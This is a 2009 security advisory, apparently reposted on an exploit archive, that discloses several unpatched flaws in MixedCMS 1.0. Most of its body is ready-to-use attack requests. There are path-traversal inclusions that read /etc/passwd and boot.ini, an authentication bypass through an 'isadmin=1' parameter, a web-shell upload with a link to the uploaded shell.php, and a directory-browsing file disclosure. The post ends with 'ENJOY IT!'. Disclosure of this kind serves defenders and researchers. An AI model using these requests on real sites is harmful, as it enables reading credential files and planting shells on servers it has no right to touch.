MixedCMS 1.0--Multiple Remote Vulnerabilities

2009-04-21 / 2009-04-22
Credit: YEnH4ckEr
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

---------------------------------------------------- MULTIPLE REMOTE VULNERABILITIES Mixed CMS 1.0 ---------------------------------------------------- CMS INFORMATION: -->WEB: http://sourceforge.net/projects/mixedcms/ -->DOWNLOAD: http://sourceforge.net/projects/mixedcms/ -->DEMO: N/A -->CATEGORY: CMS / Portals -->DESCRIPTION: MixedCMS is a cms that gives easiest way to create our own website CMS VULNERABILITY: -->TESTED ON: firefox 3 -->DORK: N/A -->CATEGORY: LFI/UPLOAD-SHELL/AUTH-BYPASS/FILES DISCLOSURE -->AFFECT VERSION:1.0 -->Discovered Bug date: 2009-04-21 -->Reported Bug date: 2009-04-21 -->Fixed bug date: Not fixed -->Info patch: Not fixed -->Author: YEnH4ckEr -->mail: y3nh4ck3r[at]gmail[dot]com -->WEB/BLOG: N/A -->COMMENT: A mi novia Marijose...hermano,cu&#241;ada, padres (y amigos xD) por su apoyo. ----------------------------- LOCAL FILE INCLUSION (LFI) ----------------------------- 1)http://[HOST]/[HOME_PATH]/modules/mod.php?mod=../../../../../../../boot.ini%00 2)http://127.0.0.1/[HOST]/[HOME_PATH]/modules/mod.php?mod=../../../../../etc/passwd%00 ----------------------------- SHELL UPLOAD VULNERABILITY ----------------------------- -->shell <= 1KB. http://[HOST]/[HOME_PATH]/modules/mod.php?mod=download&op=manager&isadmin=1 Here we add a download and upload the shell exploit. Then, if you go to the link (Boom!): http://[HOST]/[HOME_PATH]/modules/mod/download/archieves/shell.php --------------------------- AUTHENTICATION BYPASS --------------------------- Authetication is not needed (only isadmin=1 and change op/mod var to browse) http://[HOST]/[HOME_PATH]/modules/mod.php?mod=newsfeed&op=manager&isadmin=1 ------------------ FILES DISCLOSURE ------------------ http://[HOST]/[HOME_PATH]/modules/mod/download/DocMan.php?path=./../download/archieves/ Use path variable (request) to browse other paths for example: http://127.0.0.1/[HOME_PATH]/modules/mod/download/DocMan.php?path=./../../../engine/ I'm sure that SQL Injection (or Blind) is here but with this, for what? -------------------EOF---------------------------------->>>ENJOY IT!

References:

http://seclists.org/bugtraq/2009/Apr/0216.html


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top